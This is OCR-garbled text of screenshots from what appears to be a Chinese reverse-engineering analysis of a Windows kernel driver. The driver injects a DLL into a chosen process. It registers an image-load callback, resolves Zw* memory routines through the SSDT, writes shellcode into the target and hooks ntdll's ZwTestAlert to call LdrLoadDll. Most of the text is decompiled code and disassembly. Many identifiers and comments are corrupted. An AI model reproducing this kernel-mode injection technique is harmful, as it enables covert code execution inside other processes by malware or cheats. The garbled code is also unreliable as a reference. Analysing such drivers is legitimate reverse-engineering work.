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Ao
3804 OxFFFFEO0106062800  0x0000000000312000 10 0x00000000100148F0 1393 =5
A
8084 OxFFFFEO0OFD96F080  0x000000000030C000 10 0x0000000000460226 123.exe 506 i
[123.exe|3HERIR(48)
EIREGE [ Etht [E=D (XA E
C:\Users\Administrator\Desktop\123.exe 0x0000000000400000 0x00000000000CBO00
C:\Users\Administrator\Desktop\ET &2 3Z 1F 3£ (2)\MemOpe.dil 0x000000005EC40000 0x000000000008B000
C:\Windows\SYSwows4\ntd|l.dll 0x0000000077E00000 0x000000000017B000 Microsoft Corporation
C:\Windows\SYSwow64\KERNEL32.DLL 0x0000000074BF0000 0x00000000000E0000 Microsoft Corporation
C:\Windows\SYSwow64\KERNELBASE.dll 0x0000000075170000 0x000000000017E000 Microsoft Corporation
C:\Windows\SYSwows4\WINMM.dIl 0%0000000074990000 0%0000000000024000 Microsoft Corporation
C:\Windows\SYSwowe4\WINMMBASE.dIl 0x00000000752F0000 0%0000000000023000 Microsoft Corporation
C:\Windows\SYSwows4\msvert.dll 0x0000000076320000 0x00000000000BEQOD Microsoft Corporation
C:\Windows\SYSwow64\cfgmgr32.dll 0x00000000749C0000 0x0000000000037000 Microsoft Corporation
C:\Windows\SYSwows4\USER32.dIl 0x0000000077BEOODD 0x0000000000147000 Microsoft Corporation
C:\Windows\SYSwows4\GDI32.dll 0x00000000754A0000 0x000000000014F000 Microsoft Corporation
\Windows\SYSwow64\WS2_32.dlI 0x0000000075090000 0x000000000005F000 Microsoft Corporation
\Windows\SYSwowe4\sechost.dll 0x0000000075120000 0x0000000000044000 Microsoft Corporation
\Windows\SYSwow64\RPCRT4.dlI 0x00000000766B0000 0%00000000000AD0D00 Microsoft Corporation
C:\Windows\SYSwowe4\SspiCli.dll 0x0000000074920000 0%000000000001E000 Microsoft Corporation
C:\Windows\SYSwows4\CRYPTBASE.dII 0x0000000074910000 0x000000000000A000 Microsoft Corporation
0x0000000075320000 0x0000000000058000 Microsoft Corporation
0x0000000074DECOOD 0x000000000007B000 Microsoft Corporation
C:\Windows\SYSwow64\SHELL32.dIl 0x0000000076780000 0x00000000013FE0OO Microsoft Corporation
C:\Windows\SYSwow64\windows.storage.dil 0x0000000075890000 0x00000000004FA000 Microsoft Corporation
C: 0x00000000763E0000 0x00000000001BD0OO0 Microsoft Corporation
0x0000000074940000 0x0000000000045000 Microsoft Corporation
0x0000000074CD0O000 0x000000000000C000 Microsoft Corporation
C:\Windows\SYSwows4\shcore.dll 0x0000000076220000 0x000000000008D000 Microsoft Corporation
C:\Windows\SYSwow64\powrprof.dil 0x0000000074FEQ000 0x0000000000044000 Microsoft Corporation
0x0000000076310000 0x000000000000F000 Microsoft Corporation
0x0000000075030000 0x00000000000EBOOD Microsoft Corporation
0x0000000077D60000 0x0000000000092000 Microsoft Corporation
C:\Windows\SYSwow6e4\comdlg32.dll 0x00000000765A0000 0%00000000000F2000 Microsoft Corporation
C:\Windows\SYSwow64\FirewallAPLdIl 0x0000000074B90000 0x%000000000005E000 Microsoft Corporation
C:\Windows\SYSwows4\NETAPI32.dIl 0x0000000075380000 0x0000000000013000 Microsoft Corporation
\Windows\SYSwowb4\WINSPOOL.DRV 0x0000000068F30000 0x0000000000067000 Microsoft Corporation
Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\COMCTL32... 0x0000000072D40000 0x0000000000092000 Microsoft Corporation
C:\Windows\SYSwow64\berypt.dll 0x0000000072020000 0x000000000001B000 Microsoft Corporation
C:\Windows\SYSwow64\DAVHLPR.DLL 0x0000000071E00000 0x000000000000B0O00 Microsoft Corporation
C:\Windows\SYSwow64\IMM32.DLL 0x0000000077D30000 0x000000000002B000 Microsoft Corporation
\Windows\SYSwow64\fwbase.dll 0%0000000071880000 0x000000000002C000 Microsoft Corporation
\Windows\syswow64\uxtheme.dll 0%0000000069300000 0%0000000000075000 Microsoft Corporation
C:\Windows\SYSwows4\MSCTF.dIl 0x0000000075770000 0x000000000011F000 Microsoft Corporation
C:\Windows\syswowe4\dwmapi.dll 0x0000000068EC0000 0x000000000001D000 Microsoft Corporation
C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\comcti32.DLL  0x00000000693F0000 0x000000000020F000 Microsoft Corporation
0x000000005EBB0O00O 0x0000000000085000 Microsoft Corporation
0x0000000058AE0000 0x00000000000D6000 Microsoft Corporation
C:\Windows\SYSwowg4\dbghelp.dil 0x0000000073FE0D0D 0x000000000013F000 Microsoft Corporation
C:\Windows\SYSTEM3Z\ntdIl.dil 0x00007FFASAEQ0D00 0x00000000001C1000 Microsoft Corporation
C:\Windows\system32\wow64.dll 0x00000000667A0000 0%0000000000050000 Microsoft Corporation
\Windows\system32wow64win.dll 0x00000000667F0000 0x000000000007A000 Microsoft Corporation
C:\Windows\system32\wow64cpu.dll 0x0000000066870000 0x0000000000008000 Microsoft Corporation
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[Fl Functions window O &8 x [EID4 View-4 [Erseudocode—a B Bl stack of NotifyRoutine Bl stack of _DriverEntry@g Sl Hex view-1
Function name INTSTATUS _ stdcall DriverEntry(PDRIVER_OBJECT DriverCObject, PUNICODE_STRING aZ2)
{

Es”b—“m? NTSTATUS result; // eax

[7] startRoutine NTSTATUS v3; // [esp+h] [ebp-18h]

|Z|NotifyRoutine vd; // [esp+0h] [ebp-18h]

[F] sub_113c0 vS; // [esp+0h] [ebp-18h]

(7] sub_113F0 t _:\ CCDE_QTR’\E E;Jzi{mtic'miz’ring;fﬁf':espgﬁp: ':Ebp;i?h:
struct _UNI _STRING S olicLinkName; [esp+Ch] [ebp-Ch]

[7] AllocateMemory int v8; // [esp+l4h] [ebp-4h]

[F] sub_11710

[F] sub_11750 v8 = 0;
E sub 11E20 DbgPrint ("EasysSys Sample D nCompiled
lzl sub 12100 Dr;vercbj: ect—)—Maj: orE‘unct%on [0] = sub 15070;
E se_curity check _cookie(x) Dr%vercbjlect—>Majl orE‘unctJ..on [2] = sub_15070;
= = = DriverObject->MajorFunction[14] = sub 150&0;
[7] obCreateObject DriverObie erUnload = subflEEll_;
E DbgPrint Rt1InitUni ng(&DestinationString, L"\\ \
|I| memcpy v3 = e (DriverObject, 0, &DestinationString, 0x22u,

2017"

, 0, &DeviceObject):;




memset _. if (V3 o»>=0)

201 4
sub_14000 21 if { IoIsWdmVersionkvailable(lu, 0x10u) )
sub_15010 22 RtlInitUnicodeString (&SymbolicLinkName, L"\\DosDevices\\Global\\loaddll"):
[ 7] sub_15070 23 else
sub_150A0 24 RtlInitUnicodeString (&SymboliclinkName, L"\\DosDevices\\loaddll");
DriverEntry(x.x) 25 v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);

L. . 26 if 4 >= 0
__security_init_cookie . I tv )

DriverEntry 28 dword 148E0 = sub 113C0(L"ZwQueryInformationProcess™);
29 DbgPrint ("ObCreateCbject:%p\r\n", ObCreateObject),

30 dword 148B4 = sub_113C0 (L"PsGetProcessImageFileName™) ;
31 dword 148DC = sub 113C0(L"PsGetProcessPeb");

< > 32 v5 = PsSetLoadImageNotifyRoutine (NotifyRoutine);
Line 20 of 22 00002210 DriverEntry@8:2 (16010)
Address Ordinal  Name : Library
k8 00013014 loCreateDevice ntoskrnl
¥Z] 0001300C loCreateSymbolicLink ntoskrnl
¥Z] 00013008 loDeleteDevice ntoskrnl
=| 00013024 loDeleteSymbolicLink ntoskrnl
=| 00013010 lolsWdmVersionAvailable ntoskrnl
£| 00013028 lofCompleteRequest ntoskrnl
¥Z] 00013090 KeBugCheckEx ntoskrnl
=| 00013000 KeGetCurrentlrq| HAL
=| 0001304C KelnitializeEvent ntoskrnl
%Z] 00013074 KeServiceDescriptorTable ntoskrnl
=| 00013034 KeSetEvent ntoskrnl
=| 00013078 | KeStackAttachProcess | ntoskrnl
=| 0001308C KeTickCount ntoskrnl
¥Z] 00013070 KeUnstackDetachProcess ntoskrnl
£| 00013044 KeWaitForSingleObject ntoskrnl
=| 00013068 MmGetSystemRoutineAddress ntoskrnl
¥Z] 0001305C ObCreateObject ntoskrnl
£| 0001307C ObOpenObjectByPointer ntoskrnl
=| 00013038 ObfDereferenceObject ntoskrnl
=| 00013048 PsCreateSystemThread ntoskrnl
¥Z] 00013094 iPsLookupProcessByPrﬂcesﬂd ‘ ntoskrnl
£| 00013020 PsRemoveloadlmageNotifyRoutine ntoskrnl
£| 00013098 ‘ PsSetLoadlmageNotifyRoutine ‘ ntoskrnl
%Z] 00013030 PsTerminateSystemThread ntoskrnl
=| 0001302C RtlAssert ntoskrnl
=| 00013018 RtlinitUnicodeString ntoskrnl
=| 0001306C ZwAllocateVirtualMemory ntoskrnl
¥Z] 00013040 ZwClose ntoskrnl
¥Z] 00013058 _wcsicmp ntoskrnl
= I , -
Line 6 of 38
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1NTSTATUS  stdcall su.b_lSDAD{int 21, PIRP TIrp)
{

[

_DWORD *v2; // S8T2C_4

int wv4; // [esp+B8h] [ebp-1Ch]

unsigned int v5; // [esp+Ch] [ebp-1E8h]

int v6; // [esp+10h] [ebp-14h]

NTSTATUS w7; // [esp+l4h] [sbp-10h]
IRP *v3; // [esp+lBhl lebp-Chl

1 any QN W= L




o

L

ULONG_PTR v9; // [esp+20h] [ebp-4h]

[

vZ = sub 11010(Irp);

w5 wv2[3];

vE Irp->kssociatedIrp.MasterIrp;

Ve v2[2];

w5 wv2[1]-

vd = w2[3];

if ( w5 == 2236416 )

{
DbgPrint ("MY CTL CODE (0)=%d\r\n,MY CTL CODE");
vl = 0;

o [ L T 0 Y R U R 1

[ B B ]

}
else if ( w4 == 2230428 )
{

if { vB && v6 == 512 }

gmemcpy (&d11, w8, 0x200u);
DbgPrint (" [DispatchIoctl] pdll:%ws", &dll);
vi = 0;

o [ e L T 0 ™ O U 1

1
else if ( w4 == 2238432 )
{

[ Vs T s ]

3 if ( v8 && vE == 512 )

amemcpy (&exe, w8, 0x200u);
DbgPrint (" [DispatchIoctl] pexe:$ws", &exe);
vi = 0;

o LN L [

}
else

2. B B AN 3 [

v5s = PSSetLoadZmageIoEifyRoutine{NotifyRoutine);

HEERFEEOAHARA



3 FlirLoadimage I HEAE R AN H AR AR >>HIBTINE BB E A £ ntdIldlI>>TF — A A LR
FERIXntdl

if { ProcessId )

{
if ( PsLoockupProcessByProcessId(ProcessId, &0bject) >= 0 )
sub_ 11E30 (Cbject, &v2Z2);
if ( 'wecsicmp (&exe, &V22) )
{
DbgPrint ("exename:%ws moudule:%wZ pexe:%ws", &v22, FullImageName, &exe);
if ( FullImageName->MaximumLength > 512 )
{
P = ExAllocatePool (0, FullImageName->MaximumLength) ;
v23 = B;
}
memcpy (v25, FullImageName->Buffer, FullImageName->MaximumLength);
v24 = wcsrchr(v25, 0x5Cu);
if (w24 )
{
++v24;
if ( 'wcsicmp({v24, L"ntdll.d11") }
{
KeInitializeEvent (&Event, SynchronizationEvent, 0);
ve = 0;
StartContext = &Event;
vd = Object;
v = v25;
ve = ImageInfo->»>ImageBase;
v1l0 = PsCreateSystemThread (&ThreadHandle, Ox1FFEFFFu, 0, 0, 0, StartRoutine, &StartContext);
if (w10 < 0 )
DbgPrint (" [LoadImageNotifyRoutine] FIZEIERI LNt \n") ;
KeWaitForSingleObject (&Event, 0, 0, 0, 0);
ZwClose (ThreadHandle) ;
}
}
}
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ZwProtectVirtualMemory, ZwWriteVirtualMemory, ZwReadVirtualMemory, ZwQuenyVirtualMemory, LdrLoadDIl (G
RO) , ZwTestAlert (JERO) Hhht

ProcessHandle = 0;
v53 = OboOpenCbijectByPointer({al, 312, 0, Ox1FFFFF, 0, 0, &ProcessHandle);
if (v53 »>=0)
{
KeStackAttachProcess (al, &vs2);
if ( !'ZwProtectVirtualMemory || !'ZwWriteVirtualMemory || !ZwReadVirtualMemory )
{
ZwProtectVirtualMemory = GetProchddress (a2, "EZwProtectVirtualMemory"):
ZwWriteVirtualMemory = GetProckddress (a2, "ZwWritevirtualMemory"):
ZwReadVirtualMemory = GetProcRddress (a2, "ZwReadvVirtualMemory"):
ZwgueryVirtualMemory = GetProchddress (a2, "ZwQueryVirtualMemory™);
DbgPrint (
"rin3 ZwProtectVirtualMemory:%p ZwWriteVirtualMemory:%p ZwReadVirtualMemory:%p, ZwQueryVirtualMemory:ip\rin",
ZwProtectVirtualMemory,
ZwWriteVirtualMemory,
ZwReadVirtualMemory,
ZwpueryvVirtualMemory) ;
LdrLoadDll = GetProchddress (a2, "LdrLoadDll1"):
ZwTesthlert = GetProchddress (a2, "ZwTesthlsrt");
if ( ZwProtectVirtualMemory && ZwWriteVirtualMemory && ZwReadVirtualMemory && ZwQueryVirtualMemory )
{
R07ZWPrctectVirtualMemory = GetROAddressBySSDT (* (ZwProtectVirtualMemory + 1));
R0_ZwWriteVirtualMemory = GetROAddressBySSDT (* (ZwWriteVirtualMemory + 1))
RG_ZwReadVirtualMemory = GetROARddressBySSDT (* (ZwReadVirtualMemory + 1));
RO_ZwQueryVirtualMemory = GetROAddressBySSDT (* (ZwQueryVirtualMemory + 1))
DbgPrint (
"[InjectByHook32]ringl NtProtectVirtualMemory:%p NtReadVirtualMemory:%p NtWriteVirtualMemory:%p NtQueryVirtualMemory:Ep\rin",
RﬂiszrotectVirtualMemory,
R0 ZwReadVirtualMemory,
R0 ZwWriteVirtualMemory,
R0_ZwQueryVirtualMemory) ;

1
}
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54 HirstfEHiE
HOOK, FiskBk# 28 cishellcode

(— Mgt e Create, ntdllFZeinz:, FHHIEN#kernel, userH A R4&DLL, HTntdll LR ESL T

API, FrPASTH T HookskR Bk # #44T B C iishellcode SEELDLL N )

v31 = R3 AllocateMemory (ProcessHandle, 409¢) ;

if { 'w51 )

DbgPrint (" [InjectByHook32] pBuffer:%x\r\n", v5l);
memset (&vl10, 0, 0x241u);

amemcpy (&vE, // shellcode

&loc 14060, 0xl1lBu);
Fu)

®
gmeEme pY(&v'd sub_14000, 0x5Fu

v27 = EZwTestRlert;

v1l0 = *ZwTesthlert;

vll = * (EwTesthlert + 4);

v28 = v51 + 144;

v29 = 5;

v30 ZwProtectVirtualMemory;

v26 = LdrLoadDll;
v3l = v51 + 156;

v32 = ZwWriteVirtualMemory;
v] = &dll;
ve = &v3E;
{
vd = *y7;
ke = ¥y
++v7;
ve += Z;
h
while ( w4 );
w33 = 2 * weslen(&dll);
v3id = 2 * weslen(&dll);
v4% = 172;
v35 = v51 + 172;
v50 = w51 + 32;
LOBYTE (v3) = -23;
v37 = EwTesthlert - (v51 + 32);
¥ (&v5 + 1) = EwTestRlert - (w51 + 22);
v25 = v3Z;
v33 = RO_Zwh WriteVirtualMemory (ProcessHandle, w51, &vd, @04,
LOBYTE (v44) = -23;
vdz2 = 0;
vd7 = ZwTesthlert;
vd4s = 5;
v43 = v51 - ZwTestRlert - 5;
*(avdd + 1) = v3l - EwTesthlert - 5;
v53 = R0 _ZwPr otectVirtualMemory (FrocessHandle, &v47, &v45s,
if (V53 »>= 0 )
{
RO Zw MriteVirtualMemory (ProcessHandle, ZwTesthlert, &vdd,
RC ZwProtectVirtualMemory (ProcessHandle, &vd7, &avd5, w42,
}

mov

// shellcode

0x70000000

— Frfull_access fZifishellcode, FxfHH BIMAPHLLE#ITEHE B0, R XntdllZwTestAlert F 7 —A4>

I ntdlll ZwTestAlertix 4

0);// EAshellcode

64, &svdl);

5, &v54);// ¥ zZwTesthlert "Hook

&vd2) ;




7TTE7T865A
77E78650

= niE Bl =t = ETE T OFME L EARSETE SE SKHEE 10 A
70000010 eax

70000011 cal |l 0x70000025
70000016 add esp,

70000019

7000001A

7000001B mov eax,

70000020 ntdl |. 77E78655
70000025 ebp

70000026 2P
70000028

7000002E

70000033

70000038

7000003A

BRI :

70000041
70000043
70000048
7000004A
7000004F
70000054
70000056
7000005B
7000005D
70000062
70000064
70000069
7000006E
70000070
70000075
70000077 add e

i1 W AMTE 2 W AMTE 3 WAE4 WHaFEs @ ER =] FETEE
—
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